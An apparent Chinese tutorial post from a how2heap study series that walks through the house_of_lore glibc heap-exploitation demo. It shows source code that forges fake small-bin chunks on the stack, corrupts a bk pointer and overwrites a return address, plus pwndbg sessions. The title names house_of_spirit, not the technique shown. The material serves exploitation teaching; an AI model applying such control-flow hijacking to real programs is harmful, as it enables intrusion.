从零开始学howtoheap:fastbins的house_of_spirit攻击3

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_lore演示程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }int main(int argc, char * argv[]){intptr_t* stack_buffer_1[4] = {0};intptr_t* stack_buffer_2[3] = {0};fprintf(stderr, "定义了两个数组");fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);intptr_t *victim = malloc(100);fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);intptr_t *victim_chunk = victim-2;//chunk 开始的位置fprintf(stderr, "在栈上伪造一块 fake chunk\n");fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");stack_buffer_1[0] = 0;stack_buffer_1[1] = 0;stack_buffer_1[2] = victim_chunk;fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");stack_buffer_1[3] = (intptr_t*)stack_buffer_2;stack_buffer_2[2] = (intptr_t*)stack_buffer_1;void *p5 = malloc(1000);fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);free((void*)victim);fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);void *p2 = malloc(1200);fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");victim[1] = (intptr_t)stack_buffer_1;fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");void *p3 = malloc(100);fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");char *p4 = malloc(100);fprintf(stderr, "p4 = malloc(100)\n");fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);fprintf(stderr, "\np4 在栈上 %p\n", p4);intptr_t sc = (intptr_t)jackpot;memcpy((p4+40), &sc, 8);
}

3.调试house_of_lore

3.1 获得可执行程序 

gcc -g house_of_lore.c -o house_of_lore

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_lore
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_lore...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x603010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8p4 在栈上 0x7fffffffe5a0
Nice jump d00d
[Inferior 1 (process 99) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第39行并走起

​ 在前面的技术中,我们已经知道怎样去伪造一个fake chunk,接下来,我们要尝试伪造一条small bins链。

​ 首先创建两个chunk,第一个是我们的victim chunk,请确保它是一个small chunk,第二个随意,只是为了确保在free时victim chunk不会被合并进top chunk 里。然后,在栈上伪造两个fake chunk,让fake chunk 1的fd指向victim chunk,bk指向fake chunk 2,fake chunk 2的fd指向fake chunk 1,这样一个small bin链就差不多了。

​ 如下图所示。

pwndbg> b 39
Breakpoint 1 at 0x40094e: file house_of_lore.c, line 39.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)Breakpoint 1, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:40
40        fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x13RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x13R10  0x5R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x40094e (main+556) ◂— mov    rax, qword ptr [rip + 0x20170b]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x40094e <main+556>    mov    rax, qword ptr [rip + 0x20170b] <0x602060>0x400955 <main+563>    mov    rdx, qword ptr [rbp - 0x80]0x400959 <main+567>    mov    esi, 0x400e780x40095e <main+572>    mov    rdi, rax0x400961 <main+575>    mov    eax, 00x400966 <main+580>    call   fprintf@plt <0x4005b0>0x40096b <main+585>    mov    edi, 0x4b00x400970 <main+590>    call   malloc@plt <0x4005c0>0x400975 <main+595>    mov    qword ptr [rbp - 0x68], rax0x400979 <main+599>    mov    rax, qword ptr [rip + 0x2016e0] <0x602060>0x400980 <main+606>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c35 36   fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");37   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);38   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);39 ► 40   fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);41   void *p2 = malloc(1200);42 43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 ◂— 0x0
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fc ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           40094e main+556f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:39
pwndbg> parseheapaddr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> parseheap

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
 

victim chunk:

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None

fake chunk2:

0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
fd->fake chunk1

0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d


fake chunk1:

0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

fd->victim chunk

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

bk->fake chunk2

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

3.3.2 设置断点第46行并走起

Glibc在malloc的时候会检查small bin链表中第二块chunk的bk指针是否指向第一块,来发现对small bins的破坏。为了绕过这个检查,所以才需要同时伪造bin中的前两个chunk。

​ 接下来释放掉victim chunk,它首先会被放到fast bin中,这时候我们再去malloc一个large chunk,那么就会触发fast bin的合并,然后victim chunk就放到了unsorted bin中,最终被整理到small bin中。

pwndbg> b 46
Breakpoint 2 at 0x4009e1: file house_of_lore.c, line 46.
pwndbg> c
Continuing.
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8Breakpoint 2, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:47
47        fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x1cRBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1cR10  0x0R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x4009e1 (main+703) ◂— mov    rax, qword ptr [rip + 0x201678]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009e1 <main+703>    mov    rax, qword ptr [rip + 0x201678] <0x602060>0x4009e8 <main+710>    mov    rcx, rax0x4009eb <main+713>    mov    edx, 0x5f0x4009f0 <main+718>    mov    esi, 10x4009f5 <main+723>    mov    edi, 0x400f500x4009fa <main+728>    call   fwrite@plt <0x4005e0>0x4009ff <main+733>    mov    rax, qword ptr [rbp - 0x80]0x400a03 <main+737>    lea    rdx, [rax + 8]0x400a07 <main+741>    lea    rax, [rbp - 0x30]0x400a0b <main+745>    mov    qword ptr [rdx], rax0x400a0e <main+748>    mov    rax, qword ptr [rip + 0x20164b] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c42 43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);46 ► 47   fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");48   victim[1] = (intptr_t)stack_buffer_1;49 50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");52   void *p3 = malloc(100);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009e1 main+703f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:46
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
largebins
empty
pwndbg> 

3.3.3 设置断点第53行并走起 

​ 接下来的第一个相应大小的malloc,会返回victim chunk的地址

pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bkBreakpoint 4, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:54
54        fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...RBX  0x0RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...RDI  0x5RSI  0x7ffff7dd1b48 (main_arena+40) ◂— 0x0R8   0x4eR9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10  0x1R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x400a58 (main+822) ◂— mov    rax, qword ptr [rip + 0x201601]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400a58 <main+822>    mov    rax, qword ptr [rip + 0x201601] <0x602060>0x400a5f <main+829>    mov    rcx, rax0x400a62 <main+832>    mov    edx, 0x390x400a67 <main+837>    mov    esi, 10x400a6c <main+842>    mov    edi, 0x4010380x400a71 <main+847>    call   fwrite@plt <0x4005e0>0x400a76 <main+852>    mov    edi, 0x640x400a7b <main+857>    call   malloc@plt <0x4005c0>0x400a80 <main+862>    mov    qword ptr [rbp - 0x58], rax0x400a84 <main+866>    mov    rax, qword ptr [rip + 0x2015d5] <0x602060>0x400a8b <main+873>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c49 50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");52   void *p3 = malloc(100);53 ► 54   fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");55   char *p4 = malloc(100);56   fprintf(stderr, "p4 = malloc(100)\n");57 58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);59 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400a58 main+822f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:53
pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/10gx 0x6030100
0x6030100:      Cannot access memory at address 0x6030100
pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

 pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None

pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

3.3.4 设置断点第63行并走起 

pwndbg> b 63
Breakpoint 3 at 0x400aff: file house_of_lore.c, line 63.
pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8p4 在栈上 0x7fffffffe5a0Breakpoint 3, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:63
63      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7fffffffe5c8 —▸ 0x4006f6 (jackpot) ◂— push   rbpRDI  0x2RSI  0x7fffffffbe90 ◂— 0xe6a89ce52034700aR8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x1dR10  0x0R11  0x246R12  0x400600 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'RIP  0x400aff (main+989) ◂— mov    rcx, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400aff <main+989>             mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>0x400b03 <main+993>             xor    rcx, qword ptr fs:[0x28]0x400b0c <main+1002>            je     main+1009 <0x400b13>↓0x400b13 <main+1009>            leave  0x400b14 <main+1010>            ret    0x400b15                        nop    word ptr cs:[rax + rax]0x400b1f                        nop    0x400b20 <__libc_csu_init>      push   r150x400b22 <__libc_csu_init+2>    push   r140x400b24 <__libc_csu_init+4>    mov    r15d, edi0x400b27 <__libc_csu_init+7>    push   r13
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);59 60   fprintf(stderr, "\np4 在栈上 %p\n", p4);61   intptr_t sc = (intptr_t)jackpot;62   memcpy((p4+40), &sc, 8);► 63 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
03:0018│      0x7fffffffe538 —▸ 0x4006f6 (jackpot) ◂— push   rbp
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           400aff main+989f 1           4006f6 jackpotf 2     7fffffffe6a8f 3     7fffffffe6a8f 4        1f7b99608
Breakpoint /ctf/work/how2heap/house_of_lore.c:63
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/40gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000071
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
